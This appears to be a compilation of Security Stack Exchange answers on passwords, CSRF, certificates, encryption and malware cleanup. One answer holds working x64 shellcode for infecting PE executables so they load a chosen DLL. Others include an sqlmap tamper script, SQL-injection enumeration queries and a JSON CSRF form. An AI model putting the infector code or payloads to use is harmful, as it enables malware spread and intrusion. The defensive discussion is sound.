My guess would be that for google it allows them to handle all their various different options for TFA(two factor authentication) more easily. Off the top of my head they support 3 or 4 different methods at least. They also allow you to have multiple TFAs enabled at once so you can pick which one to use.

Not saying you couldn't also handle all that on the same change password page with the old and new password fields but it definitely is more complicated than just asking for the old password along with the new one.


Why isn't sophisticated malware written with .NET?

There is plenty of malware out there that is written in .NET, but as a C# dev I can see why many malware authors avoid it:

Easy to disassemble and reverse engineer.
Easy for AV to detect use of certain classes and functions.
Requires .NET on the box (older XP boxes might not have it, or might only have .NET 2.0)
Harder to do anti-debug tricks in .NET than in native code.
Executables are often larger than native.


Create certificate without private key or using USB eToken

I think you are confusing things. In the question you refer to a different problem is addressed: not being able to sign the CSR with the proper private key but still creating a certificate based on this CSR. This is possible since the signature of the CSR is only used to verify that the creator of the CSR has actually access to the private key but the private key is not actually needed to create the certificate.

You are instead asking about signing the certificate - which is different from and serves a different purpose then signing a CSR. Since the signature on the certificate is essential to check the validity of the certificate you cannot skip it or fake it (using a different private key). Thus, there is no way to properly sign a certificate without having somehow access to the private key, i.e. by having the private key itself or by having a device containing the key which can be used for signing.


If access to your REST API needs to be restricted, you should treat it like any web application. Using a fixed secret token is a security through obscurity technique, which runs counter to accepted security principles such as Kerckhoffs's principle and Shannon's maxim.

The standard mechanism for authentication in REST APIs is an API key, which is a long random token given to users. The API key acts as both a username and password, in that it is unique and secret.

There are two ways to provide this kind of authentication:

Send the API key with every request, and validate it each time. This requires less code, but means you have to send your secret in every request, which creates more risk.
Send the API key as part of a "login" request, then return a session ID. That session ID becomes the security mechanism for the rest of the session, so you don't have the problem of sending the API key every time. After the session times out, the API key must me sent again. Unfortunately this results in more code and more potential for errors.

Since you should be using HTTPS for both methods anyway, I'd go with the first option. Transport security allows you to prevent modification of payloads, and keeps your API key secret.


Why is the BCrypt text "OrpheanBeholderScryDoubt"

OrpheanBeholderScryDoubt
This isn't authoritative, since I couldn't find a reference, but I found the commit where the string was introduced dated 1997/02/16.
The earlier version used the string OpenBSDbcrypthashfunc, since it was designed to be used with OpenBSD (it is the default on OpenBSD). The new string keeps the same initials OpenBSD (OrpheanBeholderScryDoubt`) as a nod to its origins.
So all things point to it just being a 24 character string with a nod to OpenBSD.


What is a good enough salt for a SaltedHash?

The unique purpose of the salt is to be unique: no two hashed passwords shall use the same salt value. This is meant to prevent cost sharing such as precomputed hash tables.

Uniqueness should be worldwide. For instance, suppose that you used a simple counter as a salt. Correspondingly, the value "1" will be used as salt for the first created account, presumably the one for the server administrator. This will be true for all installed instances of that server. This makes it worthwhile to precompute a big table (e.g. a rainbow table) of potential hashed passwords using "1" as salt, because that table could be used to attack the administrator password on all servers which use that software. The word to meditate here is "worthwhile".

Since server-wide uniqueness is not enough, a counter will not be sufficient; the user name is not a good salt either (user names are unique on a given server, but there are many 'Bob', 'Joe' and 'DarkLord42' out there). An UUID (GUID) is supposed to do the trick. You can also use a strong uniform pseudorandom generator (/dev/urandom, CryptGenRandom(), java.security.SecureRandom... depending on the platform you use) and get enough random bytes from it so that risks of reusing a salt value are sufficiently small; 16 bytes are enough for that. Using randomness is the "robust way" because it yields uniqueness with a sufficiently high probability, without having to rely on world-wide conventions.


Do we need to disable the SSL verification while developing a web scrapping application in Java?

Read The Java Developer's guide to SSL Certificates
Your browsers keep a constantly updated list of root certificates from trusted certificate authorities.
Your Java installation also has such a list (referred to as the truststore) but it isn't updated as often (your java truststore will be updated when Java is updated).   If you want the new list faster than that, you need to import the root certificates you want to trust.
List the CA root certificates trusted by your Java truststore to see which ones are missing:
keytool -list -keystore $JAVA_HOME/lib/security/cacerts

(if asked for a password, the default password is "changeit")
to import a missing one, following the directions from the article:

Adding a certificate to the truststore is necessary if we want to
trust a certificate issued from a CA not present in the bundled
truststore.
keytool -import -trustcacerts -file [certificate] -alias [alias] -keystore $JAVA_HOME/lib/security/cacerts

the root certificate file is first downloaded from the site you wish to scrape.


Double submit cookie: CSRF token doesn't need be a random value?

This question is your friend:

CSRF protection with custom headers (and without validating token)

In essence, if you opt to make your X-CSRFToken header something simple like 1, you are falling back simply on the presence of your custom header for CSRF protection.  If you have a fixed CSRF token for all users, then an attacker will easily be able to figure this out and will therefore know the CSRF token for all users.  Since this will naturally match the cookie you create for all users, an attacker will therefore automatically circumvent the cookie matching requirement of your CSRF system.

Therefore (repeating myself here), your CSRF protection will effectively boil down to the fact that you're checking for the presence of a custom header in the request.  This is not a crazy thing to do, because there are currently no known ways for an attacker to set a custom header in a CSRF attack.  So for now, this would actually be sufficient protection.  In that case though you also might as well not bother with the cookie, since it isn't actually providing additional protection.

Generally though (per the question I linked to above and its answers) checking only for a custom header is discouraged because things change and you never know when someone might find a way to set a custom header on a CSRF attack.  If that were to happen, your protection would no longer work and you would be vulnerable to a CSRF attack.

In the end though you have to decide what is the best way to balance the cost (of implementing this security measure) vs the benefit (of securing your application), and decide what security steps work best for you.  If your application is an anonymous website for voting on favorite cat pictures, I'd say just stick with the custom-header protection.  If you're securing the nuclear launch codes though, I'd go for proper CSRF protection (and a whole lot more!).


Google Mail alert message. Hacker from China

Well, there are actually a range of questions in there but the big one is your second last paragraph.

The Internet allows us to be attacked by individuals anywhere in the world.

Access controls help to prevent a lot of attacks, but all of them can be bypassed given enough effort, and this includes the Great Firewall of China along with every other device or application. The only way to be sure is to disconnect your computer entirely, then lock it in a room, and hide the key. And post guards. And watch the guards etc

So this is why security is really a business decision - you can get as much security as you pay for, but if you are a desirable target you need to buy much more security.

Various surveys by companies such as Kaspersky show the apparent sources of attacks, and China is high up there, but so are the US, Eastern Europe, Israel, the Philippines, and a wide range of countries. While some of this data is no doubt correct, some of it is likely to be spoofed by smart attackers routing through machines in other countries.

And the whole issue of getting logs from other countries - it is a nightmare. Many ISP's just won't divulge this info. Some countries block requests entirely.


native mac malware opening urls across all browsers

The obvious answer is to run anti-virus and anti-malware software, then check out some suspect directories. Then, if you cannot resolve the issue on your own, get in touch with Apple support. Please note they may recommend that you wipe your hard drive. Ignore that advice, persistently, and they will eventually escalate you to a level of tech support (telephone-based) that may screen-share with you and help you walk the directory structure looking for suspect files.

Self-help steps to try before getting to support:

Fix permissions using Disk Utility: permissions errors can lead to vulnerabilities. Also, finding out what has had it's permissions changed may give you some idea of what's being attacked. It is not really that likely to solve any problems... but you also need to make sure that any scanners you run can actually access the directories they need to scan... so not a bad first step.

Look at extensions/add-ons in your browsers and disable anything that looks funny. I know all browsers are affected, but... you may have crappy extensions put into all of them somehow.

ClamAV is a good piece of anti-virus software, that is free. Download it directly from their site, instead of using the AppStore -- for some reason the AppStore version doesn't let you schedule scans/updates.

AdwareMedic is a nice piece of anti-malware software that Apple support recommended to me, when I called them.

Adware Removal Tool (Bitdefender), caught some things that were missed by Adware Medic. It is also light and non-invasive.

Other software: there is a LOT of other software out there. And, as is the case with PC's, no single suite is comprehensive. You will probably want a second piece of anti-virus software... I just can't recommend a good one. I don't like most of the programs out there. Many of them are bloated. Many of them interfere with your system. Many do not uninstall completely.

Walking the directory structure to look for stuff... yes you won't necessarily know what things are named. But they're often named obviously-malicious things. If you use finder to look through your directories instead of the command line, you may want to try entering this into the command line first to make sure you can see dotfiles.

defaults write com.apple.finder AppleShowAllFiles YES

Just a couple of places to peek at for malware:

/Library/

/Library/Application Support/

/Library/Internet Plug-Ins/

~Library/

~/Library/Application Support/

~/Library/Internet Plug-Ins/

If you still can't find the issue, try rebooting your computer in recovery mode (command R on startup), and trying Safari there (Get Help Online). If that sandboxed version of safari is messed up you may have issues with your modem.

You can also try creating a different user account. A different account experiencing the same troubles... probably means you've got system files messed up, instead of ones installed in your ~ directories.

Good luck.


smime - is encrypting reply to a signed mail without own cerificate possible?

While it is technically correct that you can encrypt content for a recipient key that is contained in an S/MIME certificate without having a certificate of your own, this is not the same thing as sending an S/MIME email.

While the RFC allows for Enveloped only S/MIMES it does state:

  It is important to note that sending enveloped
     but not signed messages does not provide for data integrity.  It is
     possible to replace ciphertext in such a way that the processed
     message will still be valid, but the meaning can be altered.

In production mail clients, S/MIME messages are hence always signed - whether or not they are encrypted. While you do not need a key pair and certificate for the encryption part of S/MIME, you do need one for signing that encrypted message.

  In my opinion both parties needs S/MIME certificates in order to communicate securely. Is that correct?

Yes, and for good reason: S/MIME is not only about confidentiality but also about authenticity; when an E-Mail is not signed properly, authenticity is out of the window.


Is it possible to encrypt a file using both AES-256 cipher, password and keyfile using OpenSSL?

Whatever you do, don't try specifying multiple -pass arguments as @mootmoot suggests in the comments. Only the latest applies, as can be trivially seen by:

echo test | openssl enc -aes-256-cbc -salt -pass file:key -pass pass:password | openssl enc -d -aes-256-cbc -salt -pass pass:password

Assuming you're trying to require both the password and the keyfile to decrypt, the easiest way would be to simply chain them, though this will result in a slight size increase:

$ echo test | openssl enc -aes-256-cbc -salt | openssl enc -aes-256-cbc -salt -pass file:key >testout
enter aes-256-cbc encryption password:
Verifying - enter aes-256-cbc encryption password:

$ <testout openssl enc -d -aes-256-cbc -salt -pass file:key | openssl enc -d -aes-256-cbc -salt
enter aes-256-cbc decryption password:
test

You should be aware though that the key derivation openssl enc uses is quite terrible. 0.9.8 defaults to MD5, and while it lets you select another hash, it only allows one round of hash(password || salt). 1.1.0 changes the default hash to SHA256, but it still only allows a single round, so the improvement is very minor.

I've also seen this quote from an openssl developer referenced a few times:

  At the end of the day, OpenSSL is a *library*, not an end-user product,
  and enc(1) and friends are developer utilities and "demo" tools.

It's from 2009, so I don't know how much that's changed since then (I believe the cms utility is ok), but I would recommend avoiding enc if possible.


Does the presence of XSRF token and per-request session cookie mitigates the security risk of brute-forcing login credentials?

Disallowing login attempts that don't have a valid cookie/token (indicating that the client loaded the page before submitting the request) and having that cookie/token be single-use (so you can't just load the page once and then submit a bunch of requests with those credentials) is, in theory, a valid way to slow down login brute-force attempts. A tool can still automate the process, but it needs to make a request and receive the response for each attempt, rather than firing off requests as fast as possible, usually leading to having multiple requests in flight at once.

There are problems with this approach, though. For one thing, it's hard to scale. You can't easily load-balance your login attempts - which is important to do if you have a lot of traffic and an appropriately-expensive password hashing function - because the single-use-ness of the token breaks down if multiple "valid" requests get balanced across multiple servers and the servers' list of valid tokens isn't kept perfectly in sync. For another, it's not actually going to prevent automated brute-force - at worst, the tool simply needs to scrape the responses for the values it includes in its next request - the way a CAPTCHA will. It also becomes harder to create a tool that authenticates (with valid credentials) automatically, which is sometimes valuable to enable.


SQLMap: How to test JavaScript generated field names?

The best way of dealing with this is to write a custom sqlmap tamper script.

You can find examples in the tamper folder. In the script you'll want to make a request to whatever page is generating the random form parameter (or appending to a parameter's value); or if you can truly predict it every time, just have the tamper script generate it itself.

So your script would look something like this (if I am understanding the problem correctly):

def tamper(payload, **kwargs):
    username = get_username()
    password = get_password()
    return payload + "&%s=user1&%s=password" % (username, password)

If you then call sqlmap with --tamper yourtampername it will run that script before every request. It will be a little bit hacky, but your tamper can also introduce new parameters into the request.

Now, if you also want to test those dynamically generated values for injection, things might get a little tricky. Play around with it though and see if you can get it to do what you want.


Detecting Virtualization from web browser

Yes...

Google VM detection and you will see that there are numerous ways to detect environment variable signatures that are giveaways to being inside of a VM. Most of these can be done from JS, some more difficultly than others, but still done. Bottom line, detecting you are running in a VM is really not too hard and whether you are running JS or not is not the issue.

Here is an article on exactly how one researcher showed you could using MAC address detection.

http://carnal0wnage.attackresearch.com/2009/04/detecting-vmware-with-javascript-or-how.html


The padding isn't different - it actually is PKCS7 padding. The difference is that the data ends with a 1-byte field which expresses the length of the padding. As such, what you're seeing is:

 MAC              Padding          PadLen
 xx xx xx .. xx | 05 05 05 05 05 | 05

This isn't unique to TLS 1.2 - if you dig through the RFCs you'll find that TLS 1.1, TLS 1.0, SSL 3.0 also share this quirk. The reason appears to be legacy compatibility.

The SSL 2.0 specification isn't very clear on how (or what) padding should be applied, but the padding length itself is given in plaintext as a field in the packet. Since this would result in the padding length being distinct from the padding itself, you get a situation where a padding of 03 03 03 has a length record of 03, giving a full value of 03 03 03 03. That being said, SSL 2.0 doesn't use PKCS7-style padding, but instead uses random padding, e.g. A3 89 03 03. By bringing the same padding method to SSL 3.0 (and later to TLS) it was probably seen to be easier to adapt existing code.

So, the answer is: there's no security benefit or detriment to having the extra byte in TLS 1.2, as long as all bytes of the padding are properly checked. The reason it is there is for legacy support and ease of implementing the new protocols on top of older stacks.


The following queries can be used to retrieve (MySQL):

the list of all tables: SELECT table_name FROM information_schema.tables
the list of all columns: SELECT column_name FROM information_schema.columns


If the files are upload only and there is no way to execute them then this is not a high risk vulnerability. It is good practice to also set the Content-Disposition header, as this will force a download and prevent XSS vulnerabilities if HTML or SVG is uploaded. See here for a demo (click this HTML in the second paragraph).
However, being able to upload malware to a system is never a good thing.
The App_Data folder is being suggested as this isn't readable through an ASP.NET serving IIS server.
e.g. example.com/App_Data/virus.bat will return an HTTP 403 Forbidden. Therefore it is a good place to store files as they are not directly publically executable or viewable.
To mitigate the malware threat to server administrators and those with access to the file system, you should virus scan all uploaded files and only allow a whitelist of safe extensions to be uploaded. e.g. .txt, .gif, .jpg. Do not rely on MIME types if the files are saved with the original names as the target system will take extension to determine how to handle them.
Blacklisting is difficult due to the number of executable extensions, which is always changing as new file types are designed.
Another vulnerability that may affect availability or integrity of the application is if other users can overwrite already existing files. Ensure that this is not the case and users cannot do anything malicious using this vector.
Also you should ensure a user cannot upload a file called c:\autoexec.bat, ..\index.aspx or the like to cause your system to write the file somewhere else other than intended. This is known as directory traversal and some other possible character sequences are here.
Finally, for more info check out OWASP.


Tails is probably the most secure you can go in terms of choosing an OS but it's still vulnerable and it needs to be used in the proper way I would recommend reading the documentation or instructions on its website. All that Kickstarter is is a pre-installed USB drive with Tails on it which seems stupid since most people already have a USB drive lying around and Tails is open source and free. I would never buy a USB with a pre-installed OS if I was worried about security. Rather make it myself it takes about 5 min.


Why can I cast to my neighbour's TV on my Wi-Fi?

Because you are talking about Chromecast, you need to look at the abilities of Chromecast in guest mode:

https://support.google.com/chromecast/answer/6109286?hl=en-GB

  Guest mode makes it easier for your friends to cast their favourite
  media to your Chromecast from a mobile device without connecting to
  your Wi-Fi network.

So, what you are likely seeing is a device that is Chromecast enabled with guest mode on (I think this is by default). You could try to cast to that device, but there is a pin code that pops up to prevent neighbours from casting who cannot see the screen.

Only cast-enabled apps can see it, so the YouTube app makes sense. If you opened Chrome, you might be able to cast a tab, too.

With the recent details of it only showing up in one app in one device and not in any other apps and not on any other device, it looks more like a bug in that app being able to pick up a castable device that it should not.


Linux (!) Network Architecture for CTF-scenario

To avoid stating the obvious and you even mentioned it in your post, I would take your chart editor of choice. I use lucid chart for myself and clients. Then I would make the diagram. Have all of the systems you described group together and behind a router and firewall. Then have the router leading to a internet / attacker.

Now you have your chart your boss asked for, after this write down each program and OS each machine has to have according to your parameters.
For example, beside the machine for XP write: XP service pack # legacy web app name
 and so on for each machine.

After this you should have a detailed network diagram of how the systems see each other. Remember if you are giving any of these machines internet access and they are intentionally compromised than you may open yourself up for real attacks. I would suggest having a regularly "secured" computer off the network to allow for internet access, and leave all of the other systems on a private network with no outside access.

And as part of the network team does this mean you are defending or attacking? Or are you a neutral party that facilitates the red and blue teams?


Which server is responsible for “security” when ASP.NET Core Kestrel is hosted behind IIS?

The simple answer is: both.  They have different roles and manage different security functions, but there are some aspects of security that each must handle.

In this model, IIS is operating as a reverse proxy, and Kestrel is the application web server.  Reverse proxies (IIS and otherwise) often are responsible for more than simply dumb routing.  As you've noted, if you're using HTTPS, termination happens at the IIS layer.  IIS may also serve other functions, such as compression and caching, just as any reverse proxy might.  It also continues to need web.config, in order to find out what that configuration is.  Each of these functions has some number of security implications that need to be kept in mind.

Application specific security functions, like most authentication and authorization, input and output encoding, and other application specific functions will be handled within the application execution pipeline and environment inside Kestrel, as you expect.

So, while the role of IIS in security is greatly reduced in this model, it isn't eliminated entirely.


In order to do pretty much anything apart from crash the executable your shellcode will requires the use of the Windows API (CreateThread, LoadLibraryA etc).
This can be achieved by implementing a custom GetProcAddress function.

To return execution to the OEP (original entry point) you can use CreateThread, or "jmp" to the address. In order for the shellcode to have access to this address it needs to be hard coded into the code body.

The first instruction in the shellcode below moves 00000000 to r15. Your pe infection code needs to overwrite the first 6 bytes of the shellcode with:

mov r15d, [entry_point]

Where [entry_point] is the OEP RVA.

I wrote an entire answer (it got deleted) some shellcode for you:

mov r15d, 00000000h        ;this is 0x41BF00000000

;align stack
and rsp, 0FFFFFFFFFFFFFFF0h

;code to get the base address of ntdll.dll
mov r8, gs:[60h]                ;PEB
mov r8, [r8+18h]                ;PEB->Ldr (_PEB_LDR_DATA)
lea r8, [r8+10h]                ;_PEB_LDR_DATA->InLoadOrderModuleList (LDR_DATA_TABLE_ENTRY)
mov r8, [r8]                    ;_LIST_ENTRY->Flink (_LIST_ENTRY)
mov r8, [r8]                    ;_LIST_ENTRY->Flink (_LIST_ENTRY)
mov r8, [r8]                    ;_LIST_ENTRY->Flink (_LIST_ENTRY)

;save the base address (kernel32)
mov r12, [r8+30h]

;setup loop
mov r8d, dword ptr[r12+3ch]     ;IMAGE_DOS_HEADER->e_lfanew (DWORD) (Offset to IMAGE_NT_HEADERS64)
lea r8, qword ptr[r8+r12+88h]   ;add DllBase to the e_lfanew offset + 88h
                                ;18h - IMAGE_NT_HEADERS64->OptionalHeader (IMAGE_OPTIONAL_HEADER64) 18h bytes
                                ;70h - skip entire IMAGE_OPTIONAL_HEADER64 structure
mov r8d, dword ptr[r8]
add r8, r12

mov r9d, dword ptr[r8d+18h]     ;IMAGE_EXPORT_DIRECTORY->NumberOfNames (DWORD)s

fl:                             ;function loop
    dec r9                      ;start at end of array
    mov r10d, dword ptr[r8+20h] ;IMAGE_EXPORT_DIRECTORY->AddressOfNames (DWORD)
    add r10, r12                ;add dll base
    lea rcx, [r10+4*r9]         ;AddressOfNames[i] - function string RVA (relative virtual address)
    mov ecx, [rcx]
    add rcx, r12                ;add dll base

    ;hash the funtion name

    mov rax, 5381d
    hl:                         ;hash loop
        mov rbx, rax
        shl rax, 5
        add rax, rbx
        xor al, [rcx]
        inc rcx
        ;check for null termination
        cmp byte ptr[rcx], 00h
    jne hl
    ;hash complete
    mov rbx, 00b9a3b50901ed9addh ;LoadLibraryA
    cmp rax, rbx
jne fl

xor rax, rax                    ;make this more efficient (lol not gonna happen)
mov r10d, dword ptr[r8+24h]     ;IMAGE_EXPORT_DIRECTORY->AddressOfNameOrdinals (DWORD)
add r10, r12                    ;you know this by know right?
mov ax, word ptr[r10+2*r9]      ;AddressOfNameOrdinals[2*r9] - (2*r9 = 2 bytes * function name counter) + AddressOfNameOrdinals (WORD)

mov r10d, dword ptr[r8+1ch]
add r10, r12
mov eax, dword ptr[r10+rax*4]   ;AddressOfFunctions[4*r9] - (4*r9 = 4 bytes * function ordinal) + AddressOfFunctions (DWORD)
add rax, r12

lea rcx, [dll_name]
sub rsp, 20h
call rax
add rsp, 20h

;jump to the OEP
jmp r15

dll_name db "dingbong.dll", 0

Breakdown:

The shellcode accesses the gs register to retrieve a pointer the Process Environment Block (PEB)
The PEB is used to find the base address of kernel32.dll
Each exported function name from kernel32.dll is hashed and compared against a pre-hashed "LoadLibraryA".
The address of the LoadLibraryA function is retrieved by parsing the export table
"dingbong.dll" is loaded by the infected process

Helpful links:

https://win32assembly.programminghorizon.com/pe-tut7.html - export table

http://docdro.id/975yoLC - pe format


Is the Cisco vulnerability specific to Cisco or is it something in some commonly used library?

CVE-2018-0101 states:

  A vulnerability in the Secure Sockets Layer (SSL) VPN functionality of the Cisco Adaptive Security Appliance (ASA) Software could allow an unauthenticated, remote attacker to cause a reload of the affected system or to remotely execute code.

No mentioning of a vulnerability in a generic library whatsoever. Also, looking at the list of affected products/models on that CVE, I don't see any equipment which is running some sort of Linux under the hood to my knowledge.


In the new NIST guidelines (US National Institute of Standards and Technology), there are now some rather surprising reversals of guidance on several areas of password management. According to this article from Sophos' Naked Security blog, automatic or periodic password aging is no longer recommended by the new guidelines; rather, the article says:

  The only time passwords should be reset is when they are forgotten, if they have been phished, or if you think (or know) that your password database has been stolen and could therefore be subjected to an offline brute-force attack.

The only other reason to change passwords on a schedule is to comply with outdated policies which are resistant to change, such as the PCI DSS requirements regarding passwords:

  8.2.4 Change user passwords/passphrases at least once every 90 days.

This is not a security issue but a compliance issue. When faced with a regulation which essentially has the force of law, compliance unfortunately must trump security.


RSA Signature - Why Can't Eve Alter The Public Key

The problem you describe is how Alice knows that the public key used for signing actually belongs to Bob. As you correctly realized it does not work if Alice receives the public key only together with the signed message and has no way to verify that the key belongs to Bob, because in this case Eve could simply replace both key and signature with their own.

A way to deal with the problem is to make sure that Alice gets Bobs public key up front in a trusted way, for example during some personal meeting. This is usually only possible in a few cases so instead of having this direct trust one can use a derived trust, i.e. Carl gets the key from Bob, Alice gets the key from Carl and Alice trusts Carl that this is really Bobs key. You can implement such trust relationships with signatures to get a more scalable trust network with more parties. This is the basis for the Web of Trust used by PGP but also for a the more centralized Public Key Infrastructure used for S/MIME and also for HTTPS.

Using such trust networks it is also possible to send the public key together with the message as long as the public key itself is signed by a trusted party. For example could Bob ask Carl to sign Bobs key using Carls key and then send a message to Alice signed with this signed key. If Alice trusts Carl, i.e. has Carls public key, then Alice can not only verify that the message was actually signed by Bobs key but also that this key actually belongs to Bob because she can verify Carls signature on it.


Where does mutation engine resides in Metamorphic \polymorphic viruses?

The mutation engine is contained in the virus body.

It is just another module of the virus. Viruses typically have a file scanning module, an infection module, a mutation module, a payload module and many others. On infection, the mutation module is used to mutate all of its modules and pass them to the infected host.

Mutation engines are mostly targeted by antivirus engines because they have typical behavior and are often used for multiple families of infector malware. They are targeted also because they are weekly mutated. That is because "mutating" the "mutator" can lead to bad "monster mutations" :)


Is it dangerous to pass documents from an old infected laptop to a new one?

Yes, malware can infect user-created files. Yes, pendrives can get infected when inserted. And it doesn't matter how you transfer them, they will still be infected when they arrive.

You want to scan the files and the pendrive before actually accessing the files.


Would Hashing a Decryption Key Significantly Lower Security?

What you are looking for is called a Key Check Value (KCV).

You create a KCV by encrypting a block of zero bytes in ECB mode (the same number of null bytes as your cipher’s block size), then saving the first three bytes of output as a six character hexadecimal string, such as A1B2C3.

In the future you can test a key by executing the same KCV algorithm; if the bytes are uncorrupted, it will yield the same KCV. This method is often used as a verification for high security keys that are delivered on paper by couriers.

The output is deliberately limited to not contain enough data to reveal significant information about the key. And by not using a hash, it doesn’t risk exposure due to an unknown or unforeseen weakness in the hash algorithm.


Following could be the high level steps in Penetration Test of DB level:

• Information Gathering

• Enumeration

• SQL Injection in MSSQL

• Injection in Stored Procedures

• SYSTEM Level Attack

• Exploiting Known MySQL Issues

• Hash Cracking

• TNS Listener

• PL/SQL Injection

• Authentication/Authorization vulnerability

Further you may refer below link for the detail technical details of DB level pen test:

http://www.spy-hunter.com/Database_Pen_Testing_ISSA_March_25_V2.pdf


Can anyone determine what kind of encryption this is?

Judging by the structured format, I would say this is not encryption of any kind, but encoding. A possible scheme could be as follows;

brand | year | divider | month | id   | postfix
------|------|---------|-------|------|--------
J     | 01   | A       | 06    | 2YL  | MP1
J     | 01   | A       | 06    | OEP  | MP1
J     | 08   | A       | 07    | GSV  | MP1
J     | 08   | A       | 06    | 25Y  | MP1
K     | 01   | A       | 06    | IE2  | MP1
K     | 01   | A       | 06    | GRK  | MP1
W     | 08   | A       | 06    | ZTY  | MP1

The problem with encoding is you need a lookup table to figure out what any of it means. I would guess that these are keys to a database, and without that database you have no way of knowing what records these keys map to.


Is there a john doe of the internet (not anonymous)?

Alice and Bob are widely accepted placeholders for describing interactions in an information security context.

Bob and Alice are generally legitimate entities, but there's a whole suite of associated names which are attached to certain types of attackers or involved parties. For example Mallory is used for a general malicious entity or Eve for a man-in-the-middle (eavesdropper).

I wouldn't use these terms to describe a specific unknown entity in a specific scenario, but if you were describing the sequence of events in abstract terms then they might be appropriate.


XSS not exploitable when POST data is sent in JSON?

The article is proving that an HTML form can be used to send a JSON object via CSRF, even if the server-side is only accepting text/plain requests expecting JSON.
(instead of the typical application/x-www-form-urlencoded) requests.
I've included the linked example on this site, because we do not allow link-only content.
<html>
<form action=http://192.168.1.41:3000 method=post enctype="text/plain" >
<input name='{"a":1,"b":{"c":3}, "ignore_me":"' value='test"}'type='hidden'>
<input type=submit>
</form>
</html>

results in a request looking like

Based on your comments I now understand that you are asking about Reflected XSS attacks.

The payload is returned unchanged in a JSON response.

Is there any HTML involved?
If so, then it all depends on how it is encoded as to whether you have an XSS vulnerability.
On the other hand, if this is simply an "echo" with no added HTML, then it depends on your response headers. Content-Type: text/html should be sufficient to keep the response from being executed as code, but in some browsers, it would still be vulnerable. Content-Disposition: attachment would solve the problem assuming the filename extension and content types are safe. (i.e. txt)

if the payload can't be sent via HTML forms, does that mean XSS is not "exploitable" ?
if one can't create an HTML form (with JSON payload which is accepted by server) , then this XSS is not exploitable right ?

However, with a question like that, it sounds like you are about to 'shoot yourself in the foot' by locking into an 'easy' answer. I am worried just because I don't understand why you are asking that question.

Warning: With an HTML form it may be possible to send the required JSON payload based on the specifics of the server validation you are using.

I'll answer you anyway:
Supposing that an HTML form is insufficient (meaning you've already disproved my warning), and Query String is also not sufficient (true in your case); then Reflective XSS attacks would not be possible.

The attacker would be left only with AJAX as a possibility, as well as various plugins that might be able to initiate CSRF. Stored XSS might still be possible in that situation, if your server has more advanced features beyond "echo" of the request.

Additional info:
There are three avenues that come to mind for XSS. Only items 2 and 3 require 'payload of your choice' to be uploaded via CSRF.
Items 1 and 2 apply to a Stored XSS attack which involves inserting code into one of the text fields of the server's database, such that when the server shows the results later it might be executed in the Browser due to missing/improper encoding (XSS vulnerability) by the server.

If you have appropriate credentials, or it is a public facing site (i.e. Stack Exchange comments), then anyone (even the attacker) can insert the code directly.
Then if the system were vulnerable (incorrect/missing encoding) then future visitors viewing the submitted content would be victims of the attack.

If this was a closed system, such that the attacker would not have the appropriate login credentials for the submitted data to be accepted into a database, then the attacker would have to use a CSRF to take advantage of another user's credentials (assuming the user is already logged in to the target system when visiting the attacker's site)

For Reflective XSS, you would need #2 CSRF for this. In this case the data need not be stored, but you are taking advantage of a situation where input data is returned back to the user.

i.e. a Preview page,
or a refreshed form with values pre-filled
an error page that includes user content (i.e. X is an invalid email address)

Stored XSS may be preferable for the attacker to reach a broader audience. There is the possibility also that a given system is not vulnerable to Stored XSS, but still may be vulnerable to Reflective XSS.


Can one connect to wireless router without cracking WPA2 handshake?

What you mean is known as "replaying" but is does not apply here. One of the steps involved in the four step handshake authentication process in WPA2 is a challenge-response and your client needs to know what is the "password" to give the right answer. So, you cannot reuse a previous capture because, basically, the challenge will be different every time.


No a salt should not be derrived from other known parameters, a salt should be globally unique. So the best you can do is to generate a really random salt for each password. Todays operating systems have a "random source", on a deterministic computer it is the best you can do to read form this random source (DEV_URANDOM).

Beside this, the SHA-* hash family is not appropriate to hash passwords, because this algorithms are ways too fast and therefore can be brute-forced too easily (3Giga SHA1/s). Instead you should use a slow key-derivation function with a cost factor, like BCrypt, PBKDF2 or SCrypt.

For PHP there exists a dedicated function to hash passwords, it is designed in a way, so it can change the algorithm in future if necessary, but can still verify old hashes:

// Hash a new password for storing in the database.
// The function automatically generates a cryptographically safe salt.
$hashToStoreInDb = password_hash($password, PASSWORD_DEFAULT);

// Check if the hash of the entered login password, matches the stored hash.
// The salt and the cost factor will be extracted from $existingHashFromDb.
$isPasswordCorrect = password_verify($password, $existingHashFromDb);

// This way you can define a cost factor (by default 10). Increasing the
// cost factor by 1, doubles the needed time to calculate the hash value.
$hashToStoreInDb = password_hash($password, PASSWORD_BCRYPT, array("cost" => 11));


Generally, my vote would be to soft delete; but eliminate any sensitive data (such as password hashes).  As in line with with Matthew's comment;

Accountability : if find out in X amount of time that you were breached by a user whose contact details you don't have, will make it very difficult to find out what exactly happened. And even provide potential evidence, etc.
Data scrubbing : users re-use passwords, no matter what we tell them.  If your service does get compromised, you wouldn't want your customers' password hash to be exposed.

Probably a lot more engineering work, but potentially worth looking at.  De-activate accounts but keep a reference to them somewhere, so ensure you're not re-using the user ID.

Bottomline, there's very little gain by hard deleting user accounts.  Storage is virtually free, and unless it's a business / regulatory decision, it's better to keep the (scrubbed) account.


Are passwords that are manually typed in really unrecoverable from memory or disk?

This is the wrong solution for this problem.   First, no, it is not safe to assume that passwords can't be recovered from on disk or in memory.  On disk is the real threat...If you're up against adversary who can pull data off of RAM, you're probably up against an adversary you can't defeat in any case.

Additionally, password theft is only one of the threats that you face with a stolen laptop.   Sensitive data loss is another, and generally more serious threat.  Your scheme does nothing to solve this problem.

So, the correct solution is full disk encryption.  This protects all of the data on the drive of a stolen laptop, solving both of these problems with a single solution.   It also frees you up to use whatever mechanisms are most suitable to encourage the strongest possible passwords without worrying about the additional trade-off of requiring that passwords never be stored.


Is information gathering usually authorized?

On a general basis, as long as you are not using a website the authorized way, then you can assume it is unauthorized by default.

Some websites may explicitly authorize the use of automated scanning tools. A classical example of this is Nmap's ScanMe page. In this case the page clearly state the authorization and the associated limitations.

Some general websites also offer bug bounties allowing to some extend the search of vulnerability on their systems. Such website may or may not authorize the use of automated tools, this is usually clearly stated in their bug bounty details.

The "authorized" and "unauthorized" statements however have to be distinguished from the "legal" and "illegal" statements. In some cases, the first ones may have nothing to do with the later ones. In particular, before engaging in any activity which may, even remotely, be considered offensive, ensure that the explicit authorization has been issued by someone in measure to issue it and in full knowledge of any potential consequences (in particular, before allowing such use, the target must check if his hosting company allows it).

Laws controlling such activity are far more complex than one may think, even more when the scanning source and destination (either its HQ or its servers) are located in different jurisdictions. Things may quickly go wrong and out-of-hand. What if the server you were scanning crashed during your scan and the local sysadmin made no backup? Even if your scan may be technically unrelated to the crash, expect to be designated as the main responsible for all the damages and the associated losses.

